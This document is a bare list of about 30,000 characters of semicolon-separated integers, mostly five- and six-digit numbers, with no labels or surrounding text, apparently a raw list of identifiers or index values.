43227;30609;71471;57450;104504;38337;95845;71368;105456;74731;100625;49011;44201;87270;74006;29835;21195;80091;66518;51009;75608;49045;99358;99510;67032;59158;85598;43896;25239;70164;93012;34821;17435;72254;103094;99185;52153;49387;30565;68900;35549;36848;73843;74719;37447;56174;42510;87940;58749;21293;103972;95568;56511;54687;87049;42886;22601;28038;64926;56199;92479;56635;85711;107123;80307;32510;62947;52522;75605;53389;71114;92666;34204;14207;31645;82262;58178;77589;28418;26955;71137;24991;58059;80776;82622;53139;29856;38663;45885;46131;58265;70041;97191;104441;55043;101460;94719;20955;56132;11625;99401;69518;55081;39558;58735;28269;81174;104376;78933;80969;27133;72150;17191;96231;79763;35443;14509;74339;61526;13820;58523;20105;91994;29786;68391;80569;14675;44762;84014;99975;21619;97031;37011;31755;68686;10942;39872;53133;28569;62971;48498;88007;12858;75334;22632;71357;48375;34530;56959;51172;90981;102294;102334;81784;33410;76884;11440;33979;74987;90430;30342;13775;22152;75530;39577;67527;30094;75649;101126;82903;92826;23578;17148;31844;57085;97846;46837;105797;39662;48298;41322;55991;36384;45923;33339;102636;87098;52264;69241;49645;89097;16857;72417;96689;51651;27130;66116;16510;63459;93411;16590;16765;104346;63363;47414;54722;13466;12892;72976;74634;103868;35712;23146;102035;61211;84664;12662;68378;10382;96783;34476;19060;19057;77790;11515;87839;18691;82620;61801;78599;63177;52465;39399;15285;106167;20705;88015;13180;24836;14594;63843;84718;33199;37057;53037;49931;41163;36660;27386;101145;48941;81466;35937;71183;100519;16516;47904;47799;56207;56769;24253;13416;77644;36350;22575;23504;64749;44698;102426;95504;90303;80018;68344;92899;84037;85496;72523;71361;40612;40163;61042;33832;18579;94754;40830;10843;24736;41429;82814;33190;20731;25042;81739;25250;42560;44907;92170;84121;71655;17445;54362;27190;78859;41409;54337;66537;92355;45364;36418;13442;74996;48192;87614;62829;106558;102721;89528;20757;67509;58233;33454;74356;80934;48615;42684;67501;34837;15000;72662;50381;74697;69543;62842;55329;19955;103670;52915;99209;96209;56337;71760;57986;52116;80244;31879;28945;62169;44261;11527;33101;19457;14632;10105;38597;18023;29382;21694;60407;85917;57702;38082;80805;16159;89003;50647;24647;46066;84984;26713;87485;25229;83432;90727;42367;62425;85051;16067;70440;64928;63592;89917;103592;45609;79195;19738;71006;94531;74866;66933;53849;25625;102475;11849;74129;35186;20163;40201;96120;58786;28599;29258;37281;91236;13179;104081;38277;27216;34359;12252;44299;102518;39413;12442;72546;99716;106506;38799;48221;83861;63828;58826;82776;75202;95828;103604;51311;54029;40221;89987;19328;52821;53046;81968;42132;25615;76906;25210;23979;52040;14569;55422;83493;66925;86515;35424;52092;38233;28552;51572;100077;50378;23098;43488;63712;104294;13619;58065;25534;28586;76109;81936;62386;40786;79056;64010;92641;30578;93153;75560;60545;54850;48926;75013;101114;84321;41936;34113;68038;75355;62423;16627;63256;72518;62636;66012;85548;106786;55449;62098;23105;85495;81474;90361;77064;86649;102141;87333;81608;23701;52478;85176;87097;12050;63452;44728;75602;56061;15692;69240;44308;62561;103337;66006;80529;11687;39037;74799;63234;30582;97064;68491;104792;45213;55710;79572;106196;62387;33202;21263;86411;45706;78608;35856;65874;77777;42317;29017;84963;86958;21429;81253;40483;45199;96939;53202;27683;45743;86258;60027;37784;31549;27871;86208;22336;33378;60893;18687;61587;84692;39805;89404;66565;42877;102271;67715;15839;106013;17288;18245;84875;19207;92895;63566;80474;79824;33876;51133;45612;59543;72293;75352;58542;48282;25003;44849;30188;35699;26586;58099;66732;51441;19395;55197;50549;73710;71062;83065;30995;10888;18237;87514;97969;29262;27113;15068;92827;23092;41722;72918;68999;100358;81441;39470;23088;77577;78049;77390;72049;64803;49859;64149;88397;60977;72157;48774;73468;34330;97795;101378;51043;67199;13249;84333;66829;13611;38781;99061;67632;99528;11408;15902;80797;99500;25720;34809;30810;105049;90850;25185;68860;35789;43699;16665;26426;99360;97475;81565;83433;94029;32844;23493;103149;62295;20718;18021;25764;76547;36821;84552;62627;25869;83961;77307;46536;36170;25947;55432;87671;31446;79746;28602;81900;42656;55897;16929;50740;83633;24330;56028;79987;92970;104662;58888;101837;87774;82007;78494;75664;38884;61578;77727;26250;99184;45501;26365;70486;84391;73070;92393;85250;12209;52296;74766;97082;46584;68203;70966;78294;93977;89021;68429;47451;73018;10360;26798;87010;94315;62231;23212;26963;26743;23705;22024;87855;19042;69814;47517;94519;14802;87946;51469;70210;45245;20504;74846;59705;42849;13288;15247;27008;43510;106053;22232;95374;73866;103704;13077;200120;28693;68428;54502;36711;74910;79008;66662;41875;78687;25597;17108;103613;93930;30869;29965;13974;69526;65290;84642;24884;57090;95838;54338;32692;43027;12300;85982;71389;37636;59054;79414;65906;34465;68660;78515;57031;95728;88810;15453;21903;105999;27500;42464;23170;68817;44741;105209;55074;25724;62981;31977;25707;105330;52615;102409;104234;33036;63714;19403;93555;27042;31344;97703;29192;69629;33955;78967;103734;39594;56493;54912;87763;75912;105359;59675;99162;74580;106813;56495;43649;37436;96040;52414;30500;68273;40449;67783;93477;16759;16406;59151;101944;88465;73811;57905;39642;94359;27454;42549;32656;88011;66415;43796;90024;68738;70183;45311;50896;76267;83973;86221;44733;20095;55361;24543;55721;46195;73067;49460;91719;42055;63284;91839;102716;99340;96972;89718;63550;55732;105062;82069;58845;29720;106011;89123;21837;86122;11235;80218;49758;61248;78366;94156;49591;31312;19022;82113;77189;78100;44154;104279;26925;102777;76819;10583;83408;14537;75430;31047;78843;41893;24421;53649;42850;88136;34970;40860;39909;27119;103557;55948;82639;67197;16379;81009;87709;35941;33448;50323;32737;64259;67774;61700;36889;70684;21501;60394;71638;67338;22665;37796;103530;91465;41165;89298;40113;38034;51071;27952;38745;76714;70877;38545;102865;27095;101965;87740;41683;22951;15012;53744;75044;57701;77615;55433;89081;14337;66894;49640;68221;32883;13198;101452;11315;89346;21047;93457;103946;15659;92842;23921;92753;82710;78684;95285;29416;31029;18158;45797;52667;67799;14558;48743;83258;48341;62357;99113;24461;27104;13078;23912;101064;72958;63832;93447;35173;106808;20716;40231;60889;40544;33604;88806;63227;105498;106641;85090;73211;90262;55050;59061;38925;90820;89747;83292;63553;21102;42446;14913;27985;77167;40738;89565;77705;86527;55615;99948;28263;63533;57706;13530;78837;33083;15403;53874;83936;15274;36566;93929;47554;54058;97801;25198;56856;35873;54736;44980;35716;100757;58551;83142;70166;78364;54510;28145;18137;57262;99152;63707;18514;96318;87874;26187;61663;71541;62440;50167;79869;87582;79212;15572;74281;65177;77601;75703;72663;92217;33711;33348;84486;50100;20239;35507;62661;59931;104678;25571;42973;95278;92200;20951;79334;59900;92535;52200;13567;31756;21595;15316;59161;53244;22723;96082;85722;51444;57307;52842;106134;31127;61963;83926;54987;88861;81209;79313;50922;52706;41181;90156;61225;54603;56656;37814;80424;49403;70800;96196;32095;32944;56944;83465;27694;82651;74781;79989;15052;54797;67711;64405;69245;13297;84940;25695;41045;19186;21343;79896;12306;61548;85256;84052;65817;91755;55624;59142;91307;99826;43145;43578;97740;18254;75314;62851;24917;13174;65502;52121;19839;58815;105550;92697;77558;62928;80443;90833;26021;12908;63218;72392;10704;66830;29383;106360;37659;44054;74036;61889;103098;41589;62510;11781;31689;62351;48896;22027;100778;84856;31924;35494;40671;84191;20340;89240;82692;81737;39881;73551;67479;87997;81712;38019;26943;21442;43538;71498;101722;46512;80280;73817;90363;106295;88771;70165;89363;100429;91451;54940;58110;52646;57179;106942;103954;56400;39693;56975;70462;64692;76213;81264;17043;60716;95592;21290;44958;77283;24743;11739;68193;61911;90325;46593;47479;14930;101105;86549;19549;106243;96747;36042;95030;33787;72318;17165;77242;26869;24111;65315;24828;101650;52599;21032;102058;77766;102314;16362;71783;58582;19361;39602;96012;69625;79923;99008;30222;14524;60718;100485;74645;11585;105616;52597;44385;52408;62931;61057;68572;39248;41622;44204;27452;101943;49300;67389;66629;47665;38227;91384;97884;102302;58277;43737;29124;18478;17475;105446;85420;25775;61369;23830;32154;58938;83551;31054;34726;88156;87686;65203;34290;67329;84285;73714;52170;28142;86925;74378;99649;22863;50261;50173;87715;65551;29131;15452;105021;23771;34832;84407;103176;26897;63918;89187;89023;91252;72515;69910;82136;52338;33653;92112;85095;43223;93805;51825;15657;45551;106231;70527;21321;68192;51542;50035;69574;102548;47859;57269;88904;89647;59348;33672;40218;57368;54315;27344;34214;41081;42005;12881;22069;78040;75258;48151;79778;35087;62798;74144;79191;31973;63471;95357;13065;35570;25987;44486;21725;90059;82733;22733;10410;17109;65850;93928;53366;77060;32361;64054;91274;22516;22279;94773;79395;106158;58032;87764;11726;57205;14075;50092;75687;71277;34208;85581;70388;47273;40600;101458;91256;17802;11800;83943;19040;90210;70366;21212;44015;64241;15469;73578;38210;87236;50528;90503;74998;26849;28388;101421;61637;48886;37771;31010;62628;105261;53835;70136;100299;94445;76108;67766;90679;86261;91334;10099;58636;83606;66874;41741;72556;15133;90703;78322;63986;51824;41886;44175;14296;89261;39075;30469;27471;12338;64416;72367;57463;106837;51667;32170;81002;105076;76469;106386;26780;20264;27808;70544;86622;55295;30579;44986;56516;28752;60934;81233;14114;22109;80270;57658;61290;50055;35859;29848;64383;104128;52820;99848;73717;42629;99886;85874;100150;71331;68283;27775;27631;15069;83561;12668;40049;35983;53900;29923;11151;70574;83288;18019;52758;93184;74999;69928;25469;90454;18504;56832;42638;82461;48383;67002;60859;17509;32267;28790;52723;19873;100007;20889;89602;16674;23296;90287;30471;101057;24167;58598;58665;49875;72619;101667;51397;25766;25334;92679;19814;66918;79399;15035;106926;60467;81942;17000;26385;83127;38332;18506;94148;96451;38329;34046;36073;33495;61857;16663;54129;67770;72002;103714;48592;45820;18524;73986;96276;85164;45062;22734;99333;76719;50255;61154;62647;88023;66738;17160;59717;66043;19182;19566;100914;71998;14297;51568;83924;77917;101890;51799;62051;44827;51013;73615;72602;40412;20282;23615;97564;91028;78182;48532;44642;104806;45300;19039;87468;71614;61238;92713;57163;56284;78971;44386;79403;97107;74890;105834;47066;18657;95632;10406;22543;46272;38457;105102;16884;51068;48549;79044;58435;83597;19962;29921;73296;45730;35346;77107;56264;67399;11063;82981;26402;35393;41040;40048;53281;16937;15968;72347;67463;25525;35915;38201;36009;13570;74091;67543;64099;33766;72217;37585;65170;88914;11320;29573;82980;46666;102337;36561;33733;102188;49962;91885;99534;48714;51216;58640;31670;41842;85189;96384;16417;49527;67975;77942;11445;38338;57539;33742;69503;26481;73735;104540;40627;14858;56799;88888;105589;44270;69745;53646;74772;83211;52431;17363;85101;36126;15373;105497;20836;57249;83903;23066;26984;73815;21962;29826;16337;43540;105313;93432;104175;72626;64839;70919;104944;37207;81148;70095;59368;61520;10979;104248;106513;82968;58229;23393;48662;86875;82503;26704;70992;70510;43614;89587;89226;58752;85412;60203;81230;42165;68151;41493;94042;72617;41540;34978;45824;38217;43061;60588;60494;40395;90549;90228;67984;87518;200014;40178;34801;11816;44137;85567;100887;75065;31643;34620;21884;11659;19982;37617;14973;92419;24057;75753;87809;76897;59034;13620;200051;85249;40551;67966;76669;15958;92967;73087;38466;27539;81049;72849;92741;72728;104653;69823;46403;66823;52971;33792;46037;44548;70836;62555;12626;75853;22984;67727;53565;60023;30133;61088;25539;55021;46286;75333;16130;95334;25575;24595;20271;58083;78174;95457;94541;23710;45780;106440;11101;46507;77674;89543;72698;15421;58312;94444;35928;11756;28228;100716;17042;30286;31577;46687;56789;34021;40105;77890;90231;64056;78557;50016;71326;88053;45438;30379;55438;34044;87059;70029;35609;70714;56232;22658;91947;106157;67208;16646;59591;53123;56193;52491;99752;14892;42714;84670;74112;10516;94019;31495;91756;87226;15079;36305;70348;33771;59512;82189;105181;78518;105617;51585;94177;103067;81752;25886;16804;84331;82117;38331;29058;61091;88617;15954;40410;94404;76386;81995;34689;16451;53066;43858;27015;102129;54717;41850;15021;102663;60404;17477;84174;80230;15833;86871;53503;69553;41902;40414;74443;65571;78989;101155;69041;62422;67285;43025;78610;51373;82907;60254;73375;36855;103663;73311;33290;10386;53256;23068;10958;61599;29962;41585;81039;72566;81965;26682;101739;69713;46656;44900;15764;37241;63100;32503;97508;15364;35117;51641;25895;57506;39277;37411;95804;55727;58402;36900;27336;95263;48596;88515;43757;23326;80763;18214;28196;99871;96484;100111;36861;102646;13922;100828;18902;35095;70896;84140;50607;24189;24161;62115;85286;81050;63857;17183;61220;91491;27178;83447;51123;59094;80914;10009;27197;57939;26884;26867;102535;38419;104489;69049;74210;91585;48599;37141;35788;96949;65492;57048;83394;89494;43485;57750;37370;51420;81375;58299;62397;94652;73780;53483;55373;100343;67644;14796;53816;20194;29513;59518;48334;100794;69280;53566;83687;36152;65667;63669;77447;105801;41175;97121;95855;16366;11017;29068;101394;23087;36348;17592;64703;12025;90327;106265;78544;18126;77402;15184;62199;17583;87009;30701;73015;48430;104085;84186;72814;96126;60509;73135;26618;48685;20484;103785;26593;80428;99160;49042;49991;81023;101728;87222;49155;94319;25104;50418;58462;62244;22753;22649;10025;82274;77875;86677;73885;44599;43542;102434;55825;11370;59271;48357;42864;94004;84602;58722;56451;60517;80065;87660;13818;43362;97995;28988;99153;102328;40511;57329;50616;102556;101968;93212;44353;104657;16910;47418;18914;57328;99302;10092;58841;79604;100818;73891;80339;50626;75932;64696;30004;79150;28543;23574;92425;49111;53495;30663;49214;87837;58670;30038;13160;80643;74290;29873;85074;10936;20158;82058;51864;47235;55189;68123;18725;75576;15582;81348;54019;32132;87338;21219;74150;94124;62113;49212;31257;58391;18555;64503;26075;41307;48937;63941;40542;72129;97923;70847;94724;94590;22402;13055;84064;48932;51141;42501;62724;30860;31085;92839;84015;75110;59216;63316;89899;74166;13603;63865;22809;91109;15120;23939;78851;21960;106846;85239;65085;93656;81227;29092;43365;87235;55375;105224;101704;68640;74481;35816;27136;102902;102998;104239;12014;104192;28714;73883;63433;72289;35506;58765;67825;16989;73923;92210;72378;87521;76705;63267;63432;16653;58024;24266;66420;65787;94087;20191;19969;20943;44605;63863;79267;15039;84495;42667;44232;93513;41249;91952;96182;65693;38622;46943;83634;10177;99963;96164;51506;44568;85525;101112;49396;39682;11221;94557;74997;84675;50966;90491;76063;87225;29271;48508;13740;104324;27068;67057;46661;31889;71350;80928;20342;62895;22656;62691;59789;86609;102324;21544;19320;43218;102067;40997;77754;78089;84141;94703;41948;45750;60777;99511;54481;16909;72974;106676;95383;10259;72861;62048;10544;65074;34706;12990;61951;59758;55355;38389;29470;60309;30287;99885;51833;72431;81004;25091;64158;41308;106512;80798;58762;26883;16250;25265;106419;71739;12380;14097;15288;65640;65023;78421;101264;62985;12304;16703;33420;25974;103283;94202;35157;66716;40793;67579;30477;30267;68026;88410;96573;74395;64998;22253;93113;76177;94354;99025;80916;50140;45011;100680;26753;99191;81173;65928;30737;79629;29140;60614;73390;24757;49909;12619;51393;67306;10883;35927;24138;52799;55567;93689;84834;54424;104307;35635;16774;105065;97876;95974;59803;73419;88854;74414;78391;26879;85319;89231;78210;89663;16567;55828;76362;93115;56160;48311;15911;84387;42327;88948;71082;69210;29138;102854;23398;58583;66338;58544;62448;11190;73737;53917;34315;40520;102826;53496;100890;15518;45978;63751;27210;11469;38551;18297;75783;82248;20822;73840;51493;10711;93925;93189;46318;86151;28620;53282;67184;33353;93606;59823;53778;13657;69501;57071;100095;29263;10686;99311;102014;18837;25433;25486;15964;45914;53581;92935;69999;80716;78237;85125;11260;104545;95503;71256;77202;17340;68399;27949;33222;10057;87456;49879;41330;39443;71294;67754;83565;90302;41611;69683;58122;103834;57271;84541;51217;63718;96815;65527;74077;55007;29979;80198;104602;89002;82115;55076;33868;94941;32263;30661;82505;105104;27910;24701;94409;37018;43588;13106;23181;102793;47167;68897;36960;42265;73509;60422;36294;18846;24080;73744;101022;56462;89409;29713;91673;53606;46070;79866;90276;70721;22817;42744;65642;78833;67074;21985;30186;87341;53707;68077;45446;52903;55203;67391;28728;24587;45113;28654;26316;51457;104654;57114;100416;96807;70738;89422;89121;54427;90200;66391;93363;62952;14807;102069;100373;38437;61366;104480;16292;47203;32925;79846;82060;73426;72784;69017;77035;80929;88160;17374;26207;51264;91680;73741;38558;28735;52254;38568;91419;55320;33023;65246;64060;12436;56468;76485;91239;29952;82555;30112;31547;30317;22098;62170;22428;65101;80645;76112;62571;45872;44203;40153;64147;11552;87470;79109;16530;66309;52392;79443;54332;69520;100101;52474;61701;62722;95338;51296;39251;33805;78404;45382;15866;48382;38088;89801;13937;55110;44223;99847;100980;11224;35643;49881;67599;53032;53984;82531;27137;68461;44065;90121;89538;34103;69739;82985;68244;23952;72274;62787;32007;32984;20743;80305;48892;44112;14271;105830;56921;26948;69136;37621;73033;83757;84359;13933;10107;95307;88643;60602;92865;67522;55321;107146;23967;105389;73455;46641;26635;22923;53134;53344;39205;44984;59244;19357;50559;20128;78318;28615;70887;80350;25254;49838;64297;86913;29787;27637;19679;13872;39596;94989;27939;92649;54344;33918;33234;39943;30427;88056;33432;106887;47221;72838;57092;106721;66458;73651;101428;58331;61295;21101;28580;65766;37599;32709;28356;67106;33447;73429;65411;49351;33074;76784;52492;42358;16837;80333;58660;54187;54587;34806;66400;29448;86798;86142;16137;65628;72547;78860;10839;83919;72205;78181;37009;100042;78644;34398;16569;31909;17564;17064;52911;78619;80540;23841;103417;42463;10464;92777;33643;52541;64449;51065;23942;94170;40249;35637;83060;83420;15390;67206;42553;12401;53268;73928;55844;92724;73324;106606;91819;55518;19420;33196;92776;87418;24675;89137;30464;100762;11115;27703;15252;82233;12574;39288;34796;20911;38031;79167;70747;65175;29955;43008;16235;84118;36567;54221;107085;99282;62786;16986;14520;105962;15596;90227;42128;43493;67484;81763;59609;64080;47876;95747;53307;71004;12937;47379;43770;106336;51764;41136;50577;102803;67066;57135;75001;74850;14049;10723;67336;97558;88804;60425;45396;85941;41198;82082;50306;101531;27387;80742;61529;84542;53461;15014;33633;77689;90521;34283;83183;50383;96625;14647;66347;34468;43430;52452;81125;66044;43287;68486;73785;55725;26581;54107;57930;38213;93283;22204;106510;29436;94478;62071;24725;83431;57468;82009;69699;101122;14944;106857;52145;70264;92262;77354;86680;40430;34931;87577;55676;99403;20500;65926;55364;28074;60487;56744;56126;77570;61517;31998;21418;87580;27450;23214;12677;93430;93736;101671;35678;44346;83070;64264;55508;89549;87781;52851;46628;20556;60913;99618;72652;80911;66462;101629;70157;44798;105541;86371;60719;74691;101937;76472;39435;52840;80823;77812;80405;95047;31589;33992;20383;83290;65547;78688;17786;45749;36274;29779;89652;69900;56941;35382;53791;23755;33043;27366;50465;12781;24337;16376;101116;99874;80168;77666;41024;44133;67717;49245;94466;37154;58981;45856;33885;35103;88784;16136;24027;80673;70726;16920;86729;25464;31517;70344;33924;97339;106621;80758;91633;26665;13434;10699;74404;63392;54836;83079;76526;77213;97432;90055;97724;73546;66566;43395;67333;100469;73008;66584;17403;10059;35664;81757;60462;46704;74153;48887;57475;99629;72091;43743;73410;32152;42538;38319;71516;18333;65515;53072;45218;103718;38748;77961;70087;17210;27356;51689;77683;84600;99467;100056;81684;97956;91438;16712;81746;103893;66276;83609;62589;62805;55358;55686;23175;74154;57351;102089;84962;53171;10306;33386;57469;54072;28727;74788;23641;56890;36785;89929;96555;90626;70309;50993;34518;28844;48332;57562;31080;61274;75341;74071;102452;57535;88137;18270;88662;53159;22379;34266;86032;56645;30478;55530;19491;38863;32972;80135;102039;53934;65200;83285;87347;25418;41458;44143;68718;37627;10390;16898;44767;94655;80163;51852;84517;91321;28118;76721;56005;84025;73405;81573;66291;15822;83905;96734;47104;96098;47760;102877;64480;50046;93878;86419;90548;70297;43593;40590;82240;90354;81336;102044;32796;25767;87383;65310;36874;91406;24537;22694;40345;86563;18419;97960;72062;20739;67050;97912;43619;13267;59773;61994;20820;61301;92801;87373;86787;82991;94536;82550;70781;27273;89025;57231;52711;62070;38428;47604;70461;90733;35744;17666;92313;90383;105506;39384;46626;14608;103119;95495;95376;82203;28584;32910;92369;54688;52771;39431;47791;38598;55935;47600;103031;99802;55088;14950;57833;99889;65714;52614;99934;67841;67161;15937;89171;106873;105160;87672;50939;61742;68894;57845;14133;94015;65079;37132;86274;104844;62004;89460;46699;25636;93296;56362;85251;46769;105414;102137;63454;92815;76023;73684;87645;83680;31424;99705;71535;23696;53629;89742;45019;95760;103332;66454;61724;10293;95571;106251;106118;67994;79388;80054;45130;47725;88903;21852;77442;55283;60955;46784;12790;100505;37806;87786;31159;33755;105493;35297;77908;26736;17440;76074;50509;29587;48436;63899;68320;67019;38795;32445;99767;42089;66073;44303;35950;74127;62508;47263;101841;93165;54806;10961;41513;86620;46828;78430;76660;102023;106529;59611;47896;56828;99605;102229;31744;89004;41305;32347;16374;66486;35125;53301;45566;83504;67087;40408;76725;81584;95984;86736;30443;90915;12666;83844;94259;70138;24719;55751;61557;28036;83043;35651;33696;69127;19197;105030;92633;32683;101857;23681;81758;27504;29491;93674;58369;56822;45030;75846;68797;29798;12319;17443;27740;44571;86670;83899;44836;102357;85288;41390;37502;89155;42627;68920;31729;70802;84943;50128;53840;87611;86459;68798;88917;86123;40976;31361;46308;73305;103148;49331;58443;30830;83133;104207;82346;93057;86684;11663;62292;27835;92007;13689;52979;70672;67327;93565;30357;72997;62567;53063;28539;18937;43239;97138;37900;81062;34449;70286;105947;20403;51552;79573;20507;94604;73931;25000;60368;14295;100821;30071;39822;75444;83534;21665;59978;16931;37691;40115;76062;80839;15243;89730;17716;102303;21107;45286;41900;59385;31004;52023;34097;11492;40481;32838;106715;40876;68166;73384;15967;56237;52651;11270;13647;51473;18472;104299;55359;49208;58404;54401;26150;69906;68235;52183;95345;30509;11887;91460;32869;54898;69021;87104;73453;14561;99143;73307;101346;19970;49047;106867;88652;67819;67351;85569;33620;35433;42456;72471;44072;86491;21954;79145;81808;67555;25281;93442;65741;46962;34296;60838;10660;15889;16144;78125;41649;48429;68841;61320;68359;37058;78802;66430;35995;18612;34715;29464;45493;12069;91496;59228;76256;56399;106467;64169;43065;97156;101120;85823;105439;78143;25382;82979;99814;27917;88930;21519;86829;21702;64163;65008;55159;80208;62037;31190;64498;76708;74632;42098;13894;96181;82740;72987;92761;63672;47815;37194;89219;67270;32688;90782;100482;43731;21929;42911;41908;18973;62600;47302;26178;74016;84932;66275;24343;61143;18835;59941;88055;85190;52600;22112;69527;67263;35820;61167;76692;104927;84947;95597;80559;64367;10595;39655;84378;44063;75168;29970;95494;16099;100517;41735;51753;100459;23608;13546;13039;41346;73463;97047;40248;16346;75539;69284;64082;52913;24436;13498;12770;95051;57994;28245;103872;16748;51929;72358;59851;81150;63365;103171;81175;51329;83576;33151;101735;49247;96494;59759;32030;97002;31635;13447;12977;79964;25518;18234;100858;40326;99454;96999;72133;38968;26095;21424;55895;76903;19887;19653;29705;53643;65954;17251;11499;38944;74704;72189;27757;59954;26870;105386;52207;53768;50462;50060;71499;43058;42229;70697;27612;99532;91679;105986;104220;29440;14517;35511;92428;99378;41204;64435;66766;11182;37574;55085;74040;17531;18515;39718;29613;30007;85560;37030;71365;65676;32784;50448;77680;15674;76132;52875;88125;94487;42222;76396;100239;85173;93975;30899;34967;24644;32208;90447;13774;95733;61610;83748;49091;32551;26222;103055;89797;57897;99770;96506;42185;102861;25583;79489;56203;37230;75429;26294;57547;40459;25845;101069;20689;55069;51985;74216;10898;57256;68385;89286;23588;88690;43269;80341;99344;62534;81686;48636;48303;40887;58096;101522;64593;33997;59115;103166;26612;44497;49500;10546;59713;24713;54769;47537;103692;20634;72827;49719;49762;83691;90083;87006;99072;52732;11060;74798;72586;106700;40798;22301;58070;19043;61757;62247;57901;31874;29213;75635;77195;85625;15909;54477;55714;39556;100473;83871;63638;82632;55814;34704;95960;47367;72061;46219;31871;23862;53975;60103;23271;105156;95551;22362;23315;104567;92715;62718;97542;41266;80802;96397;73878;67449;65574;63949;16779;92069;49244;22531;35059;14289;12044;96479;70561;48779;33096;94949;93435;23850;64190;67709;91365;11769;21726;76606;68084;89529;64372;28697;33166;89496;52402;30840;11426;96354;54036;40433;47369;62376;20568;25270;19301;71552;30495;92362;75546;52237;45829;45668;78512;77459;61537;93215;72762;44300;99756;61312;80541;10606;96474;10267;78447;83310;44913;21578;39266;32968;16693;78896;27432;99748;91322;25415;61357;31980;71135;104457;90851;90794;85421;74400;65599;106037;89553;63826;60960;10513;66079;45657;27965;83240;49354;27963;65719;71809;39678;55423;25447;106845;64698;57223;96519;104165;27070;103619;89516;45726;43278;87029;55485;26296;34603;102620;62678;21287;40399;61817;59099;33993;84326;97254;45292;57839;38658;53441;41200;80821;68368;97840;15893;72093;42685;40156;36690;17214;53335;83725;57088;102060;74101;63503;82016;69967;23044;64551;89381;102571;70811;56288;53190;67694;89141;43214;102799;62573;47172;62269;32473;59047;58060;70208;59297;69955;57749;61170;20018;11694;91580;103742;101343;64366;56158;57098;83914;74617;86135;45273;74449;72019;80366;31805;61234;59345;40356;82687;102929;15115;79202;105816;76514;56563;21228;25673;10450;85842;75806;60269;77747;88166;30872;92513;29324;49176;61185;26243;102683;77681;20701;76829;60795;22659;71881;30937;12636;27493;13600;24496;51857;83223;69368;69717;75548;50640;24053;25504;65030;90034;16008;34550;35566;61868;16864;92615;75779;84819;55980;101947;57378;30275;91771;72054;26589;39108;103731;64886;28981;75892;38476;58336;27784;15378;92610;58829;29646;53892;14037;13929;65740;93983;58073;14183;42792;87951;91591;24114;66838;63760;66448;73411;26307;69600;79645;49394;63663;21551;33834;57272;79007;76649;59561;35475;102400;31545;28914;27438;52585;16776;100112;93449;23095;100400;55925;106571;48156;67029;50436;64932;71999;61946;42509;41988;31024;30534;106897;80926;75888;24169;30720;73646;101869;79855;24689;63462;58842;91712;46910;55020;39975;61196;25034;80173;18101;35711;64726;90840;66508;103318;79737;48196;47145;32086;90146;62745;100744;67936;61819;54686;66274;19244;12334;106652;11282;100164;56607;71101;46807;56500;71328;52662;59682;90423;40993;41974;68423;34855;31400;51743;97519;34559;13780;96333;28248;58822;46671;86395;78039;46223;84393;68393;97455;100311;82568;46093;30425;78963;51694;87358;55788;89472;62671;24810;61843;84180;41940;46749;104589;73228;90871;52815;49798;58139;56538;63809;37080;83841;53147;30454;101430;61812;26267;51191;39727;97856;80581;17170;78883;17701;43120;41846;92123;67027;14684;76615;72427;46864;44052;79296;76278;18135;100403;44214;43191;46344;83378;92662;52439;12393;21238;70479;59314;91626;87233;50836;32346;55694;105691;101788;14323;39978;60995;30462;85795;97694;65094;25679;104060;89313;51347;68684;67661;41152;18001;19734;106947;31803;67472;79182;105850;42925;21255;38933;14833;49825;80995;79130;89350;82897;93491;105392;45532;47900;21076;41588;45469;40166;14780;78270;90398;40298;76696;12452;91850;95688;53008;28572;41093;35650;31219;94396;16452;47134;91972;92442;89336;73164;17986;96657;107102;26157;105524;76374;29458;83712;57824;15283;19638;97951;106601;65832;57836;68404;82165;86816;44363;102350;22820;19461;41768;54908;38422;24390;68074;33519;33724;81187;56301;13527;48727;97374;93702;86117;25706;103356;85073;61802;76629;106151;74202;58502;32221;29611;106293;12526;16103;31627;53126;101964;18028;93926;73194;74421;20869;28095;30652;105517;54261;41489;61473;12266;94732;95348;39533;86361;80721;69876;103860;103455;12439;58454;48294;94840;83385;24157;97785;15230;82139;53511;21381;63308;34675;37821;49274;21720;10932;24208;79944;58280;18439;96272;63540;20391;10063;96742;82609;44469;42295;50638;11068;34560;11419;46805;75096;57369;97027;51543;84829;100961;43617;49958;35722;86596;49968;96512;55065;39643;100041;16007;12605;54145;32676;28859;95736;81448;103856;51368;61761;26203;14536;79608;69968;23336;44535;12340;67899;10529;96202;84828;94561;62311;52375;72088;19128;102866;58346;44178;69171;60393;105833;59761;30062;93723;76491;53031;88567;99834;74047;32090;70727;79210;90012;58121;81676;30771;53706;28268;63715;49992;18898;104743;31309;30170;88587;69145;48326;10815;79613;77097;46461;18899;95445;59451;60559;52030;41992;19163;38797;54432;12115;75554;23421;68479;92163;92091;78042;67816;95576;23517;41752;58580;57624;67665;24238;106534;77656;79401;86069;50332;14928;78433;92859;77194;55000;54568;30283;94888;79362;67138;70013;74577;12839;24756;65615;11672;20129;18454;94562;44709;73319;70925;21722;77876;40455;22166;96095;104013;53680;84418;67539;47376;28414;56971;66129;104821;65070;35668;71122;72852;96863;76914;13140;50620;68190;107001;40713;60696;50345;59899;42783;35476;35981;11626;11755;36101;99420;32697;94439;18712;45599;22722;100297;63483;32625;67718;99633;29796;59581;43575;97493;85106;57958;88907;64802;87704;83963;33871;76332;21897;103650;94271;41141;21239;91394;10319;102457;83333;104949;62125;29415;68494;62657;33263;82131;72965;104005;90417;39705;39648;30895;45457;37025;29607;39004;36771;53758;99556;61490;26145;51103;90718;92540;80655;100816;28370;92082;60201;35575;106614;102057;105472;33233;63386;29065;63820;85350;76862;25567;52299;94498;51204;65123;21663;71420;99252;67559;10158;84482;45195;93758;73141;79151;28545;90535;78736;75320;18508;92477;86110;84850;19553;54160;97669;55437;86292;18298;84636;77543;50972;37193;82873;16811;33954;42815;71674;61769;32067;56986;24334;105152;58863;65347;94390;97832;54633;25143;27207;66651;84825;70258;10313;97212;37139;64881;35868;105037;91376;59951;20625;89348;16977;38086;27603;16096;57960;40079;53386;55959;95939;57313;52548;52256;28680;93943;47465;48889;48578;74762;29175;59164;103869;26425;35386;80401;31228;101842;56914;75050;100162;102961;53794;61363;69464;70298;23417;91738;47655;34616;48262;88997;66859;83675;14367;105533;15906;40653;38881;74374;68871;25208;46544;50077;97583;76032;99123;87381;97852;84995;32707;34944;69074;48624;49344;34906;11862;25470;62073;94607;102063;76093;42885;96797;18970;26086;60997;72053;34957;87321;45571;79184;48684;43251;28505;61197;94799;43550;39942;32785;77568;24700;94903;54781;50017;69566;46506;51187;51161;46925;36978;29654;53582;105237;82888;96547;44442;86230;72013;38282;94972;53486;